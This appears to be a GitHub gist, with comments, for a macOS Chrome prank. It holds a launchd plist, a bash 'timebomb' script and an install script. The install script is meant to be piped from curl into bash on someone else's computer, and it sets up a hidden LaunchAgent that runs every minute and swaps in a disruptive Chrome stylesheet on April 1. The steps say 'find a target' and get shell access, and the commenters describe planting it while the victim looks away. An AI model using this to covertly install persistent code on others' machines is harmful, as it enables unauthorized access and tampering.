Fuck with chrome <3 - Thanks to: https://github.com/wesbos/aprilFools.css for the css.

com.fools.plist

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
  <key>Label</key>
  <string>com.fools</string>

  <key>EnableGlobbing</key>
  <true/>

  <key>ProgramArguments</key>
  <array>
    <string>~/.fools.sh</string>
  </array>

  <key>StartInterval</key>
  <integer>60</integer>

  <key>RunAtLoad</key>
  <true/>
</dict>
</plist>

Custom.css

body{-webkit-animation: spin 30s linear infinite;}
p:before {content: "Code in Ruby! ";}
body, p, body p, body div p {font-family: 'Comic Sans MS', cursive !important;}
html {-webkit-animation: rainbow 8s infinite;}
@-webkit-keyframes blur {
  0%   { -webkit-filter: blur(0px); }
  49%   { -webkit-filter: blur(0px); }
  50%   { -webkit-filter: blur(1px); }
  51%   { -webkit-filter: blur(0px); }
  100%   { -webkit-filter: blur(0px); }
}
@-webkit-keyframes spin {
  0%   { -webkit-transform: rotate(0deg); }
  100%   { -webkit-transform: rotate(360deg); }
}
@-webkit-keyframes rainbow {
  100% { -webkit-filter: hue-rotate(360deg); }
}
@-webkit-keyframes fall {
  0%   { -webkit-transform: none; }
  100%   { -webkit-transform: rotateX(-90deg); }
}

fools.sh

#!/bin/bash
now=`date +"%m-%d"`
fools='04-01'

# Stage the css file for the attack.
if [[ ! -a /tmp/Custom.css ]]; then
  curl -sL raw.github.com/gist/5271225/Custom.css > /tmp/Custom.css
fi

# If it's april fools move the attack into place.
if [[ $now == $fools ]]; then
  mv /tmp/Custom.css ~/Library/Application\ Support/Google/Chrome/Default/User\ StyleSheets/Custom.css
fi

install.sh

# Create timebomb in ~/.fools.sh
curl -sL raw.github.com/gist/5271225/fools.sh > ~/.fools.sh
chmod a+x ~/.fools.sh

# Create launchd plist in ~/Library/LaunchAgents and load it.
curl -sL raw.github.com/gist/5271225/com.fools.plist > ~/Library/LaunchAgents/com.fools.plist
launchctl load ~/Library/LaunchAgents/com.fools.plist

uninstall.sh

rm ~/Library/Application\ Support/Google/Chrome/Default/User\ StyleSheets/Custom.css
rm ~/.fools.sh
launchctl unload ~/Library/LaunchAgents/com.fools.plist
rm ~/Library/LaunchAgents/com.fools.plist

Step 1: Find a target
Step 2: Get user level access to a shell
Step 3: curl -sL raw.github.com/gist/5271225/install.sh | bash

To see if it works,

inside ~/.fools.sh change:

fools='03-29' # or whatever today is.

wait <= 1 minute.

Nice one! Monday is gonna be fun day! I'm gonna see how many people I can get with this.

The idea is its easy enough to type you can get it on someone's computer if they look away for 15 sec

install script slightly thwarted by single user mode. Typed it all out by hand :(